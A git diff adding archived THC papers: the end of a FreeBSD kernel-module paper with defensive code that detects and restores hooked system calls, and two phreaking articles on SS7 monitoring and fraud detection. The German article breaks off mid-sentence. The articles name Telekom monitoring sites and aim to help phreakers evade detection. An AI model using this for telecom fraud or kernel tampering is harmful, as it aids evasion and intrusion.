(sysent[SYS_msync].sy_call!=msync) error[SYS_msync]=1; + if (sysent[SYS_vfork].sy_call!=vfork) error[SYS_vfork]=1; + if (sysent[SYS_sbrk].sy_call!=sbrk) error[SYS_sbrk]=1; + if (sysent[SYS_sstk].sy_call!=sstk) error[SYS_sstk]=1; + if (sysent[SYS_vadvise].sy_call!=ovadvise) error[SYS_vadvise]=1; + if (sysent[SYS_munmap].sy_call!=munmap) error[SYS_munmap]=1; + if (sysent[SYS_mprotect].sy_call!=mprotect) error[SYS_mprotect]=1; + if (sysent[SYS_madvise].sy_call!=madvise) error[SYS_madvise]=1; + if (sysent[SYS_mincore].sy_call!=mincore) error[SYS_mincore]=1; + if (sysent[SYS_getgroups].sy_call!=getgroups) error[SYS_getgroups]=1; + if (sysent[SYS_setgroups].sy_call!=setgroups) error[SYS_setgroups]=1; + if (sysent[SYS_getpgrp].sy_call!=getpgrp) error[SYS_getpgrp]=1; + if (sysent[SYS_setpgid].sy_call!=setpgid) error[SYS_setpgid]=1; + if (sysent[SYS_setitimer].sy_call!=setitimer) error[SYS_setitimer]=1; + if (sysent[SYS_swapon].sy_call!=swapon) error[SYS_swapon]=1; + if (sysent[SYS_getitimer].sy_call!=getitimer) error[SYS_getitimer]=1; + if (sysent[SYS_getdtablesize].sy_call!=getdtablesize) + error[SYS_getdtablesize]=1; + if (sysent[SYS_dup2].sy_call!=dup2) error[SYS_dup2]=1; + if (sysent[SYS_fcntl].sy_call!=fcntl) error[SYS_fcntl]=1; + if (sysent[SYS_select].sy_call!=select) error[SYS_select]=1; + if (sysent[SYS_fsync].sy_call!=fsync) error[SYS_fsync]=1; + if (sysent[SYS_setpriority].sy_call!=setpriority) error[SYS_setpriority]=1; + if (sysent[SYS_socket].sy_call!=socket) error[SYS_socket]=1; + if (sysent[SYS_connect].sy_call!=connect) error[SYS_connect]=1; + if (sysent[SYS_accept].sy_call!=accept) error[SYS_accept]=1; + if (sysent[SYS_getpriority].sy_call!=getpriority) error[SYS_getpriority]=1; + if (sysent[SYS_sigreturn].sy_call!=sigreturn) error[SYS_sigreturn]=1; + if (sysent[SYS_bind].sy_call!=bind) error[SYS_bind]=1; + if (sysent[SYS_setsockopt].sy_call!=setsockopt) error[SYS_setsockopt]=1; + if (sysent[SYS_listen].sy_call!=listen) error[SYS_listen]=1; + if (sysent[SYS_gettimeofday].sy_call!=gettimeofday) error[SYS_gettimeofday]=1; + if (sysent[SYS_getrusage].sy_call!=getrusage) error[SYS_getrusage]=1; + if (sysent[SYS_getsockopt].sy_call!=getsockopt) error[SYS_getsockopt]=1; + if (sysent[SYS_sigreturn].sy_call!=sigreturn) error[SYS_sigreturn]=1; + if (sysent[SYS_readv].sy_call!=readv) error[SYS_readv]=1; + if (sysent[SYS_writev].sy_call!=writev) error[SYS_writev]=1; + if (sysent[SYS_settimeofday].sy_call!=settimeofday) error[SYS_settimeofday]=1; + if (sysent[SYS_fchown].sy_call!=fchown) error[SYS_fchown]=1; + if (sysent[SYS_fchmod].sy_call!=fchmod) error[SYS_fchmod]=1; + if (sysent[SYS_recvfrom].sy_call!=recvfrom) error[SYS_recvfrom]=1; + if (sysent[SYS_setreuid].sy_call!=setreuid) error[SYS_setreuid]=1; + if (sysent[SYS_setregid].sy_call!=setregid) error[SYS_setregid]=1; + if (sysent[SYS_rename].sy_call!=rename) error[SYS_rename]=1; + if (sysent[SYS_truncate].sy_call!=truncate) error[SYS_truncate]=1; + if (sysent[SYS_ftruncate].sy_call!=ftruncate) error[SYS_ftruncate]=1; + if (sysent[SYS_flock].sy_call!=flock) error[SYS_flock]=1; + if (sysent[SYS_mkfifo].sy_call!=mkfifo) error[SYS_mkfifo]=1; + if (sysent[SYS_sendto].sy_call!=sendto) error[SYS_sendto]=1; + if (sysent[SYS_shutdown].sy_call!=shutdown) error[SYS_shutdown]=1; + if (sysent[SYS_socketpair].sy_call!=socketpair) error[SYS_socketpair]=1; + if (sysent[SYS_mkdir].sy_call!=mkdir) error[SYS_mkdir]=1; + if (sysent[SYS_rmdir].sy_call!=rmdir) error[SYS_rmdir]=1; + if (sysent[SYS_utimes].sy_call!=utimes) error[SYS_utimes]=1; + if (sysent[SYS_adjtime].sy_call!=adjtime) error[SYS_adjtime]=1; + if (sysent[SYS_getpeername].sy_call!=getpeername) error[SYS_getpeername]=1; + if (sysent[SYS_getrlimit].sy_call!=getrlimit) error[SYS_getrlimit]=1; + if (sysent[SYS_setrlimit].sy_call!=setrlimit) error[SYS_setrlimit]=1; + if (sysent[SYS_quotactl].sy_call!=quotactl) error[SYS_quotactl]=1; + if (sysent[SYS_statfs].sy_call!=statfs) error[SYS_statfs]=1; + if (sysent[SYS_fstatfs].sy_call!=fstatfs) error[SYS_fstatfs]=1; + if (sysent[SYS_getdomainname].sy_call!=getdomainname) + error[SYS_getdomainname]=1; + if (sysent[SYS_setdomainname].sy_call!=setdomainname) + error[SYS_setdomainname]=1; + if (sysent[SYS_uname].sy_call!=uname) error[SYS_uname]=1; + if (sysent[SYS_sysarch].sy_call!=sysarch) error[SYS_sysarch]=1; + if (sysent[SYS_rtprio].sy_call!=rtprio) error[SYS_rtprio]=1; + if (sysent[SYS_semsys].sy_call!=semsys) error[SYS_semsys]=1; + if (sysent[SYS_msgsys].sy_call!=msgsys) error[SYS_msgsys]=1; + if (sysent[SYS_shmsys].sy_call!=shmsys) error[SYS_shmsys]=1; + if (sysent[SYS_setgid].sy_call!=setgid) error[SYS_setgid]=1; + if (sysent[SYS_setegid].sy_call!=setegid) error[SYS_setegid]=1; + if (sysent[SYS_seteuid].sy_call!=seteuid) error[SYS_seteuid]=1; + if (sysent[SYS_stat].sy_call!=stat) error[SYS_stat]=1; + if (sysent[SYS_fstat].sy_call!=fstat) error[SYS_fstat]=1; + if (sysent[SYS_lstat].sy_call!=lstat) error[SYS_lstat]=1; + if (sysent[SYS_pathconf].sy_call!=pathconf) error[SYS_pathconf]=1; + if (sysent[SYS_fpathconf].sy_call!=fpathconf) error[SYS_fpathconf]=1; + if (sysent[SYS_getrlimit].sy_call!=getrlimit) error[SYS_getrlimit]=1; + if (sysent[SYS_setrlimit].sy_call!=setrlimit) error[SYS_setrlimit]=1; + if (sysent[SYS_getdirentries].sy_call!=getdirentries) + error[SYS_getdirentries]=1; + if (sysent[SYS_mmap].sy_call!=mmap) error[SYS_mmap]=1; + if (sysent[SYS_lseek].sy_call!=lseek) error[SYS_lseek]=1; + if (sysent[SYS_truncate].sy_call!=truncate) error[SYS_truncate]=1; + if (sysent[SYS_ftruncate].sy_call!=ftruncate) error[SYS_ftruncate]=1; + if (sysent[SYS___sysctl].sy_call!=__sysctl) error[SYS___sysctl]=1; + if (sysent[SYS_mlock].sy_call!=mlock) error[SYS_mlock]=1; + if (sysent[SYS_munlock].sy_call!=munlock) error[SYS_munlock]=1; + if (sysent[SYS_undelete].sy_call!=undelete) error[SYS_undelete]=1; + if (sysent[SYS_futimes].sy_call!=futimes) error[SYS_futimes]=1; + if (sysent[SYS_getpgid].sy_call!=getpgid) error[SYS_getpgid]=1; + if (sysent[SYS_poll].sy_call!=poll) error[SYS_poll]=1; + if (sysent[SYS___semctl].sy_call!=__semctl) error[SYS___semctl]=1; + if (sysent[SYS_semget].sy_call!=semget) error[SYS_semget]=1; + if (sysent[SYS_semop].sy_call!=semop) error[SYS_semop]=1; + if (sysent[SYS_semconfig].sy_call!=semconfig) error[SYS_semconfig]=1; + if (sysent[SYS_msgctl].sy_call!=msgctl) error[SYS_msgctl]=1; + if (sysent[SYS_msgsnd].sy_call!=msgsnd) error[SYS_msgsnd]=1; + if (sysent[SYS_msgrcv].sy_call!=msgrcv) error[SYS_msgrcv]=1; + if (sysent[SYS_shmat].sy_call!=shmat) error[SYS_shmat]=1; + if (sysent[SYS_shmctl].sy_call!=shmctl) error[SYS_shmctl]=1; + if (sysent[SYS_shmdt].sy_call!=shmdt) error[SYS_shmdt]=1; + if (sysent[SYS_shmget].sy_call!=shmget) error[SYS_shmget]=1; + if (sysent[SYS_clock_gettime].sy_call!=clock_gettime) + error[SYS_clock_gettime]=1; + if (sysent[SYS_clock_settime].sy_call!=clock_settime) + error[SYS_clock_settime]=1; + if (sysent[SYS_clock_getres].sy_call!=clock_getres) + error[SYS_clock_getres]=1; + if (sysent[SYS_nanosleep].sy_call!=nanosleep) error[SYS_nanosleep]=1; + if (sysent[SYS_minherit].sy_call!=minherit) error[SYS_minherit]=1; + if (sysent[SYS_rfork].sy_call!=rfork) error[SYS_rfork]=1; + if (sysent[SYS_openbsd_poll].sy_call!=openbsd_poll) + error[SYS_openbsd_poll]=1; + if (sysent[SYS_issetugid].sy_call!=issetugid) + error[SYS_issetugid]=1; + if (sysent[SYS_lchown].sy_call!=lchown) error[SYS_lchown]=1; + if (sysent[SYS_getdents].sy_call!=getdents) error[SYS_getdents]=1; + if (sysent[SYS_lchmod].sy_call!=lchmod) error[SYS_lchmod]=1; + if (sysent[SYS_lutimes].sy_call!=lutimes) error[SYS_lutimes]=1; + if (sysent[SYS_modnext].sy_call!=modnext) error[SYS_modnext]=1; + if (sysent[SYS_modstat].sy_call!=modstat) error[SYS_modstat]=1; + if (sysent[SYS_modfnext].sy_call!=modfnext) error[SYS_modfnext]=1; + if (sysent[SYS_modfind].sy_call!=modfind) error[SYS_modfind]=1; + if (sysent[SYS_kldload].sy_call!=kldload) error[SYS_kldload]=1; + if (sysent[SYS_kldunload].sy_call!=kldunload) error[SYS_kldunload]=1; + if (sysent[SYS_kldfind].sy_call!=kldfind) error[SYS_kldfind]=1; + if (sysent[SYS_kldnext].sy_call!=kldnext) error[SYS_kldnext]=1; + if (sysent[SYS_kldstat].sy_call!=kldstat) error[SYS_kldstat]=1; + if (sysent[SYS_kldfirstmod].sy_call!=kldfirstmod) error[SYS_kldfirstmod]=1; + if (sysent[SYS_getsid].sy_call!=getsid) error[SYS_getsid]=1; + if (sysent[SYS_aio_return].sy_call!=aio_return) error[SYS_aio_return]=1; + if (sysent[SYS_aio_suspend].sy_call!=aio_suspend) error[SYS_aio_suspend]=1; + if (sysent[SYS_aio_cancel].sy_call!=aio_cancel) error[SYS_aio_cancel]=1; + if (sysent[SYS_aio_error].sy_call!=aio_error) error[SYS_aio_error]=1; + if (sysent[SYS_aio_read].sy_call!=aio_read) error[SYS_aio_read]=1; + if (sysent[SYS_aio_write].sy_call!=aio_write) error[SYS_aio_write]=1; + if (sysent[SYS_lio_listio].sy_call!=lio_listio) error[SYS_lio_listio]=1; + if (sysent[SYS_yield].sy_call!=yield) error[SYS_yield]=1; + if (sysent[SYS_thr_sleep].sy_call!=thr_sleep) error[SYS_thr_sleep]=1; + if (sysent[SYS_thr_wakeup].sy_call!=thr_wakeup) error[SYS_thr_wakeup]=1; + if (sysent[SYS_mlockall].sy_call!=mlockall) error[SYS_mlockall]=1; + if (sysent[SYS_munlockall].sy_call!=munlockall) error[SYS_munlockall]=1; + if (sysent[SYS___getcwd].sy_call!=__getcwd) error[SYS___getcwd]=1; + if (sysent[SYS_sched_setparam].sy_call!=sched_setparam) + error[SYS_sched_setparam]=1; + if (sysent[SYS_sched_getparam].sy_call!=sched_getparam) + error[SYS_sched_getparam]=1; + if (sysent[SYS_sched_setscheduler].sy_call!=sched_setscheduler) + error[SYS_sched_setscheduler]=1; + if (sysent[SYS_sched_getscheduler].sy_call!=sched_getscheduler) + error[SYS_sched_getscheduler]=1; + if (sysent[SYS_sched_yield].sy_call!=sched_yield) + error[SYS_sched_yield]=1; + if (sysent[SYS_sched_get_priority_max].sy_call!=sched_get_priority_max) + error[SYS_sched_get_priority_max]=1; + if (sysent[SYS_sched_get_priority_min].sy_call!=sched_get_priority_min) + error[SYS_sched_get_priority_min]=1; + if (sysent[SYS_sched_rr_get_interval].sy_call!=sched_rr_get_interval) + error[SYS_sched_rr_get_interval]=1; + if (sysent[SYS_utrace].sy_call!=utrace) + error[SYS_utrace]=1; + if (sysent[SYS_sendfile].sy_call!=sendfile) + error[SYS_sendfile]=1; + if (sysent[SYS_kldsym].sy_call!=kldsym) + error[SYS_kldsym]=1; + printf("RESULTS : Modified System Calls \n\n"); + printf("number new-addr\n"); + printf("------ --------\n"); + for (counter=0; counter <=399; counter++) + if (error[counter]==1) + printf("%d %p\n", counter, sysent[counter].sy_call); + return 0; +} + + +static moduledata_t syscall_mod = { + "SysentChecker", + dummy_handler, + NULL +}; + +DECLARE_MODULE(syscall, syscall_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE); + +Nice code, isn't it :). Well I did not have the time, to write a nice wrapper. +So this is just the plain idea filled in a module.
    +The idea : Every system call entry (sysent) has a function member (sy_call) as +you know. In order to modify or intercept a system call a hacker has to change +this address pointing to his own function. So we only have to check these +addreesses against the system functions (like write for the SYS_write system +call) to check the system.
    +Average hackers will be stopped with this way of checking system +integrity, gurus won't (you can insert code without changing the system call +table, I'm working on this at the moment -> look for further releases). + +

    +

    2. How to restore old system calls

    +

    +After detecting a changed system call table it is a good idea to restore the +original one.
    +I dont't present you the best solution : Start a module on system startup, +copy all sysent fields into another sysent array. If you want to restore every +sysent just copy the saved list to the modified sysent list. + +

    +#include <sys/types.h> +#include <sys/param.h> +#include <sys/proc.h> +#include <sys/module.h> +#include <sys/sysent.h> +#include <sys/kernel.h> +#include <sys/systm.h> +#include <sys/linker.h> +#include <sys/sysproto.h> + +#include <sys/sysent.h> +#include <sys/proc.h> +#include <sys/syscall.h> +#include <sys/file.h> +#include <sys/malloc.h> +#include <sys/types.h> +#include <sys/lock.h> + +#define MAX_SYSCALL_NUM 337 + +struct sysent save_sysent[MAX_SYSCALL_NUM]; + +void restoresys(struct proc *p) +{ + int counter; + printf("RESTORE\n"); + for (counter=0; counter<=MAX_SYSCALL_NUM; counter++) + sysent[counter]=save_sysent[counter]; +} + + +static struct sysent restoresys_sysent = { + 0, + restoresys +}; + +/* + * The function called at load/unload. + */ +static int +dummy_handler (struct module *module, int cmd, void *arg) +{ + int counter; + if (cmd==MOD_LOAD) + { for (counter=0; counter<=MAX_SYSCALL_NUM; counter++) + save_sysent[counter]=sysent[counter]; + sysent[210]=restoresys_sysent; + } + return 0; +} + + +static moduledata_t syscall_mod = { + "SysentRestore", + dummy_handler, + NULL +}; + +DECLARE_MODULE(syscall, syscall_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE); + + +This module should be loaded at system startup (the best would be loading it +before the first connect to the 'hostile' net). Of course, you should add +hiding features to this module. This will also prevent hackers from easily +manipulate your own sysent restore list. + +

    +

    3. General ideas for using MD5 Hashes

    +

    +Ok the latter two sections explained how to detect and repair the damage any +hostile module could do, but what about prevention. +My Linux article used a passworded createmodule() system call. This time +you could catch kldload() in order to check the module. Note : I'm not sure +at the moment, but I think catching this system call is not enough, I think +it's possible to load a module without the kldstuff; just an idea.
    +This time we could use a MD5 hash (digest). The function (macros) we need are +explained in the MD5 man page (section 9). Take a look at those function and +you'll recognize how easy it is to implement. These macros help us to get a +digest on a module someone wants to load on our system. You only have to hard +code some hashes into your kernel for checking the loaded ones. The rest +should be clear. + +

    +

    4. How to see a hidden process

    +

    +As I said in part I of this paper every process is saved in the allproc +list which consists of lots of proc structure each holding one process running +on the system. I also said that it's impossible to delete a process from thist +list (scheduling, timing, etc.) so we patched the sysctl system call to hide a +certain process.
    +This means that we could write some kernel code (module) which will print the +whole allproc list including the process to hide. The code for this module +was already shown in I.7.1. + +

    +

    5. Last words

    +

    +Every idea mentioned in this part will stop most (!!) attacks on your system +via kernel modules. Of course, you have to handle things like reboots etc. for +making everything a bit more secure.
    +BUT any person who really knows the kernel and the system will easily work +around those protections schemes... Bear in mind : It's always harder to +secure a system than to hack it. + +

    +

    IV. Last things to mention

    +

    +

    +

    1. What about OpenBSD and NetBSD

    +

    + +At the moment I have no running OpenBSD or NetBSD system, but I took a very +brief look at the OpenBSD kernel. It uses the LKM scheme FreeBSD also used in +former releases. The rest of the kernel is very similar to FreeBSD, so I think +there should be no big problems porting the modules in this text to OpenBSD or +NetBSD. THC will work on this, but I really can't tell when we are finished... + +

    +

    2. Resources

    +

    +

    +[Internet] +

    +http://www.freebsd.org : everything you need
    +http://www.thc.org : THC Homepage (Linux LKM article and lots of more!)
    +

    +

    +[books] +

    +'The Design and Implementation of the 4.4BSD Operating System' (Addison +Wesley) : One of the best books I know, a bit old but still useful. + +

    +

    3. Greetings

    +

    +groups :
    +THC, ADM, ech0, deep, CCC
    +

    +personal :
    +van Hauser
    +-> thanks for the idea to write this article; and for answering lots of +questions :)
    +Stealth
    +-> I got your mails :) ext2 fs text is really nice
    +mindmaniac
    +-> again a big thanks for starting the whole thing...
    +Solar Designer
    +-> there's only one word for you : *ELITE*. The next release will deal with the +other kernel stuff, perhaps I'll need some help ;)
    +Aleph1
    +-> what would the world be without bugtraq
    + + diff --git a/Papers/c7-monit.txt b/Papers/c7-monit.txt new file mode 100644 index 0000000..8311aa7 --- /dev/null +++ b/Papers/c7-monit.txt @@ -0,0 +1,150 @@ + + + + + CCiTT #7 Monitoring + + + + + + The information presented here is based on Data of : + + þ Bellcore (Bell Communication Research) - USA + þ Mercury Communications - United Kingdom + þ Telekom - Germany + þ AcceSS 7 - Hewlett Packard Research CCiTT #7 Monitoring System + + +Note that some of the data presented in this article might be +classified material by some of those companies. + + + + + + What is CCiTT #7 + ---------------- +CCiTT #7 is the newest signalling system also called SS7 (or also Common +Channel Signalling No.7). It uses two channels for communication. +The first is the voice channel (or what ever you are transmitting over it) +and the second is the data channel. This data channels is completly seperated +from the voice channel and holds all calling information in it plus has got +the advanced features of caller ID, call forwarding, conference calling, +credit card calls, collect calls etc. +This extra data channel was put in since ccitt #6 because first it disables +now the "famous" blueboxing possiblity, second enhances line quality and +third expands possiblities for new features like caller ID etc. + +It is used in nearly all west european countries, but now more and more +other countries change to this system as well like israel for example. + + + + + + + + Monitoring Systems for CCiTT #7 + ------------------------------- +As far as i know the following Monitoring Systems are in existance and +available for telecommunication companies : + + þ Bellcore : Davin and NetMavin + þ Hewlett Packard : HP E4250A, also known as AcceSS 7 + þ Unisys : NIRIS Information Platform + þ Algen : Probe + +þ Bellcore's monitoring system is based on unix and is programmed in C using + the X11 Unix Window System but can also be run on vt100 terminals and soon + on Macintoshs too. It can run on any workstation which is Unix compactible. + It has got also the possbility to work with data from other + Monitoring Systems like AcceSS 7 from HP and also use the C libraries from + HP's system. + It's easy to use with mouse support, Window graphic displays in realtime, + Zooming etc. + + Interesting Options are for example : + Monitoring calls from a specific telephone number + Automatic Fraud Detection + Multiple simultaneos call traced (up to 100) + Bellcore's Davin and NetMavin is used by Bell and Mercury Telecommunication. + + +þ Hewlett Packards monitoring system is more general than Bellcore's. + It's based on HP unix machines (Apollos I think) running HPUX Unix. + It is very flexible and can link in any CCiTT #7 system. + Everything is written in C and the customer can program, enhance and tune + the monitoring tools as they like. Basic Tools are implemented so is the + monitoring data collection tools, but everything else must be programmed + by the customer or by an HP service team - but be sure they know what they + can do and will program everything to get you. + HP's AcceSS 7 System is used by the german Telecom. + (Installed in Frankfurt, Duesseldorf, Stuttgart and Nuernberg with + Controll Centers in Frankfurt and Bamberg) + + +þ Sorry, on the two others i haven't got any information, and i don't know + if other monitoring systems exist. + + +Of course Fraud Detection is not the main point of CCiTT #7 Monitoring. +It's more gathering traffic statistics for network planning, optimizing, +error controlling & detecting, and market decicions - but fraud detection +is an important part. + + + + + How does CCiTT #7 Fraud Detection work + -------------------------------------- +Automatic Fraud Detection is based on pattern matching. +Patterns must first be measured for each every communication network/area. +Everything which is out of this pattern triggers an alarm. +Out-of-Pattern are : + identify calls of long duration + repeated calls to a particular dialed number from the same area of origin + repeated calls from the same area of origin to different numbers + long/many calls from an unbillable number + dialing special numbers + dialing many toll free numbers + +A triggered alarm can result in anything, also depending on type of alarm : + saving data to log + continued electronical oberservation to detect more out-of-pattern behavior + autotrace + alarm operator + + + XXXXXXXXXXXXXXXX + XXXXXXXXXXXXXXXX \ + XXXXXXXXXXXXXXXX \ + XXXXXXXXXXXXXXXX \ Out-of- --> XXXXXXXX \ Continues --> XX + XXXXXXXXXXXXXXXX - Pattern --> XXXXXXXX - Out-of-Pattern --> XX + XXXXXXXXXXXXXXXX / XXXXXXXX / or + XXXXXXXXXXXXXXXX / Manual + XXXXXXXXXXXXXXXX / Inverstigation + XXXXXXXXXXXXXXXX + + Calls going Monitoring Alarms of Continued FRAUD + though Monitoring system Monitoring Out-of-Pattern CASES + system Analyzing system or + Manual Investigation + + + + +Yes thats all ... there aren't much information available and even those +mentioned here are only known to a small group, although someone could +logically think it would be this way, but now you know it for sure ;-) + + +Please note that some data might be wrong or outdated (also it should not). +If so please tell me and in the next issue I'll present the new/corrected data. +If you got additional data, do something for the phreaker community and +send it me to release it in the next magazine or release it on your own! + + +Ciao... + van Hauser + \ No newline at end of file diff --git a/Papers/c7-ueber.txt b/Papers/c7-ueber.txt new file mode 100644 index 0000000..9239eee --- /dev/null +++ b/Papers/c7-ueber.txt @@ -0,0 +1,267 @@ + + + CCiTT #7 Ueberwachung + + by van Hauser + + + + Wer sich wundert : Ja, dieser Text ist schon im THC-MAG #1 erschienen. + Er wurde dann stark erweitert und erschien dann im Time-For-a-Change + Magazin #4. Aus aktuellem Anlass, darunter, dass dieses Magazin #4 in + Deutsch erscheint, wurde der Artikel uebersetzt und noch etwas erweitert, + dafuer alle nicht-deutsch-spezifischen Informationen entfernt. + + + + Was ist CCiTT #7 + ------------------ + + CCiTT #7 ist das neueste Signal-System, auch SS7 oder Common Channel Signaling + System No.7 genannt. Es ist das Protokoll, das am haeufigsten in der Welt fuer + Telekommunikation eingesetzt wird - wie hier in Deutschland. + Es benutzt 2 Kanaele fuer die Kommunikation : Der 1. ist der Sprachkanal, also + das, was der Kunde spricht (oder das Fax das er sendet). Der 2. Kanal ist der + Datenkanal. Dieser ist vollkommen separiert vom Sprachkanal und enthaelt alle + Gespraechsinformationen wie Rufnummer des Anrufers, Rufnummer des Angerufenen, + Konferenz-Option, Call-Forwarding, R-Gespraech etc. etc. + Dieser Datenkanal wurde seit dem CCiTT #6 separiert, da er bis #5 zum + sogenannten "Blueboxing" missbraucht werden konnte, ausserdem erhoehte es unter + anderem die Leitungsqualitaet und enthielt neue Features (Rufnummeranzeige + etc). Es wird mittlerweile in allen West-Europaeischen Laendern und Nord- + Amerika benutzt, und mehrere Laender steigen auch um, wie z.B. Israel letztes + Jahr. + + + + + Das deutsche Ueberwachungssystem fuer CCiTT #7 + ------------------------------------------------ + + Seit Anfang '96 benutzt die Deutsche Telekom AG das CCiTT #7 Ueberwachungs- + system von Hewlett Packard, genannt AcceSS 7. + + + þ Geschichte : + + Neben dem Ueberwachungssystem von Hewlett Packard gibts noch ueber 4 + weitere System, das bekannteste ist Mavin/Davon von Bellcore, aber + keines ist so erfolgreich wie das AcceSS 7. + Am Anfang war es nur fuer Fehler- und Leistungsanalysen gedacht, aber + die Entwickler sahen die zukunfsweisenden Moeglichkeiten ihres flexiblen + Systems und erweiterten es. + + HPs erster grosser Erfolg war im Oktober '95, als die Deutsche Telekom + (damals noch nicht AG :) bekannt gab, als erste europaeischer + Telekommunikationsbetreiber dieses System zu installieren. + Spaeter installierten z.B. auch Neuseeland, Finnland (Finnet Januar '96), + Israel (Bezeq Mai '96), Bell USA (Juni '96) das AcceSS 7. + + Im Mai '95 10 der 30 groessten Telekommunikationsanbieter der Welt, heute + (Anfang '97) ueber 20 dieser 30 haben AcceSS 7 installiert. + Auch British Telecom, TeleWest, GTE und AT&T Wireless benutzen teile des + AcceSS 7 Systems. + Der Geschaeftsleiter von HP sagte dazu in einem Interview : + "Wir schaetzen, dass ueber 90% der CCiTT #7 Verbindungen die + ueberwacht werden, durch unser System ueberwacht werden." + + Im Juni '96 kuendigte Hewlett Packard ein neues Toolkit an : das + "Fraud Management Toolkit" um Telekommunikationsbetrug zu entdecken.. + Es wurde erstamls bei den Olympischen Spielen in Atlanta von BellSouth + getestet - mit hervorragendem Erfolg. + HP gruendete ausserdem die "Alliance to Outfox Phone Fraud" wo mehr + als 12 grosse Telekommunikationsanbieter zusammen Strategien entwickeln + um Telekommunikationsbetrug zu bekaempfen. + + Der Erfolg von AcceSS 7 liegt in dem flexiblen und ausbaufaehigem Design, + das sich nicht nur leicht in jedes bestehende CCiTT #7 System integrieren + laesst, sondern ausserdem auch leicht an Kundenbeduerfnisse angepasst + werden kann. Ausserdem garantiert HP, dass die Installationszeit 3 Monate + nicht ueberschreitet, was fuer die grossen Anbieter sehr wichtig ist. + + + þ Die Hardware : + + HP's Grundpaket sind 4 8-weg symmetrische multiprozessing (SMP) + HP 9000 Model T500 Corporate Business Servers fuer einen C7 Link. + Jede dieser Maschienen kann bis zu 800 Anrufe auf einmal analysieren. + Im August '96 war eine Ms-Dos basierter Client angekuendigt, ob dieser + inzwischen ausgeliefert wurde ist mir nicht bekannt. + + + þ Die Software : + + Die Server benutzen als Betriebssystem HP-UX, das normale unix OS, das + HP auf seinen Rechnern benutzt; es ist basiert auf Sys V 4.0 von AT&T. + Die Clients laufen auch auf HP-UX unter HPs OpenView X-Window System. + Alles ist in C programmiert, die libraries, mit denen man eigene + Software programmieren kann fuer AcceSS 7 ist mit installiert. + Der Kunde (Telekom) kann eigene Applets und Skripts schreiben um + speziellen Aufgaben erfuellen zu koennen. + + Die Basis der Software ist das Daten-Sammel-Kit, das sogenannte + "call detail record" (CDR) fuer jeden Anruf erstellt. + Diese Detaillierten-Anruf-Datensaetze koennen von Applets analysiert + und in jeder gewuenschten Art & Weise verwendet werden. + HP bietet fertige Applet-Toolkits fuer Abrechnung, Abrechnungskontrolle, + Verkehrskontrolle und Betrugsidentifikation. + + Selbstverstaendlich ist das Betrugsidentifikations-Kit nicht die Hauptsache + von CCiTT #7 Ueberwachung. Urspruenglich standen Fehler- und Leistungs- + analysen im Vordergrund, aber dann bemerkten die Entwickler, das man mit den + Daten so ziemlich alles machen konnte. + In der heutigen Zeit spielt es eine grosse Rolle fuer die Planung von + Telekommunikationsinfrastrukturen, Optimierung, Fehlerkontrolle und + Marktanalysen - aber die Entdeckung von Missbrauch ist ein wichtiger Punkt. + Deshalb hier ein paar Informationen, wie das System arbeitet : + + + þ Das Betrugs-Identifikations-Toolkit : + + Das Automatische Betrugs-Identifikations-Toolkit basiert auf "pattern + matching", d.h. ein Szenario/Verhaltensmuster wird aufgestellt wie ein + Betrugsfall normal aussieht und in das Toolkit eingespeisst. Wenn eine + Situation diesem Szenario entspricht ("the patterns match") dann wird + Alarm ausgeloest. + + Jedes Szenario muss zuerst auf jeden Kommunikationsnetzwerk eingestellt + werden, da z.B. in einem Gewerbegebiet eine hoehere Anzahl von Anrufen + ins Ausland gehen als in einer Wohngegend. + + D.h. solche Szenarien koennen erst erstellt werden, nachdem ein neuer + Typ von Betrug gefunden wurde. + Alles was in ein Betrugsszenario passt und was weit von dem normalen + Verhalten des Kommunikationslinks abweicht, loest einen Alarm aus. + + Betrugs-Szenarien sind : + Anrufe sehr langer Dauer + Wiederholte Anrufe zu einer bestimmten Nummer aus einer Gegend + Wiederholte Anrufe von einer Gegend zu unterschiedlichen Nummern + Lange/viele Anrufe von einer Nummer die nicht zahlt + Das Anwaehlen bestimmter definierter Rufnummern + Das Anwaehlen vieler gebuehrenfreier Rufnummern + + Sowie spezialisierte Szenarien : + Anrufe zu Nummern die besonders oft missbraucht werden + Verdaechtige Anwendung von "Anruf-Weiterschaltung" + viele Anrufe insbes. Auslands-, von einem Anschluss + viele Anrufe innerhalb kurzer Zeit von oeffentlichen Telefonen + + Ein ausgeloester Alarm bekommt eine Prioritaetsstufe und wird auf dem + Bildschirm eines Operators angezeigt. Je laenger ein Alarm in einem + Szenario bleibt, desto hoeher wird mit der Zeit die Prioritaet. + Der Operator kann dann Aktionen einleiten wie Anschlussrueckverfolgung, + Unterbrechen der Verbindung, Sperren des Anschlusses und mehr. + + Integriert ist auch eine sogeannte "Blacklist", d.h. eine Liste von + bekannten Kunden/Firmen die faelschlicherweise in ein solches Szenario + geraten. + + + XXXXXXXXXXXXXXXX + XXXXXXXXXXXXXXXX \ + XXXXXXXXXXXXXXXX \ + XXXXXXXXXXXXXXXX \ Out-of- --> XXXXXXXX \ Weitergehende --> XX + XXXXXXXXXXXXXXXX - Pattern/ --> XXXXXXXX - Out-of-Pattern/ --> XX + XXXXXXXXXXXXXXXX / Scenario XXXXXXXX / Szenario + XXXXXXXXXXXXXXXX / oder manuelle + XXXXXXXXXXXXXXXX / Pruefung (Operator) + XXXXXXXXXXXXXXXX + + Eingehende Ueberwachungs- Alarm des Weitergehende BETRUGS- + Anrufe in das system- Ueberwach- Out-of-Pattern/ FAELLE + Ueberwachungssystem analyse unssystems Scenario oder + manuelle Uberpruefung + + + + + þ Wo sind die deutschen HP AcceSS 7 Systeme + + Deutsche Telekom AG : + Frankfurt, Duesseldorf, Stuttgart und Nuernberg + Control Centers in Frankfurt und Bamberg. + + Wie es scheint, sind sie in das interne TCP/IP Netzwerk der Telekom + angegliedert (HITNET), die nur ueber eine Firewall an dem Internet + angeschlossen sind. + + + + + + LETZTE WORTE + -------------- + + Ein kleiner Teil der Informationen in diesem Artikel war schon im + THC Magazine #1 (Februar '96) zu lesen. Ich aktualisierte danach die + Informationen, fuegte vieles ein und der Artikel erreichte die doppelte + Groesse :) ... Er erschien dann im Time For a Change #4, dem amerikanischen + Magazin von einem Kumpel, Ghost in the Machine. Fuer das 4. THC Magazine + habe ich ihn uebersetzt, leicht aktualisiert und gekuerzt was nicht fuer + Deutsche interessant ist, damit er mehr Leute ihn lesen und insbesondere + Phreaker auf die Gefahr aufmerksam werden und sich ueberlegen wie sie das + System ueberlisten koennen. + + Das System *ist* aktiv, wie z.B. gerade ein Fall von vor 2 Wochen 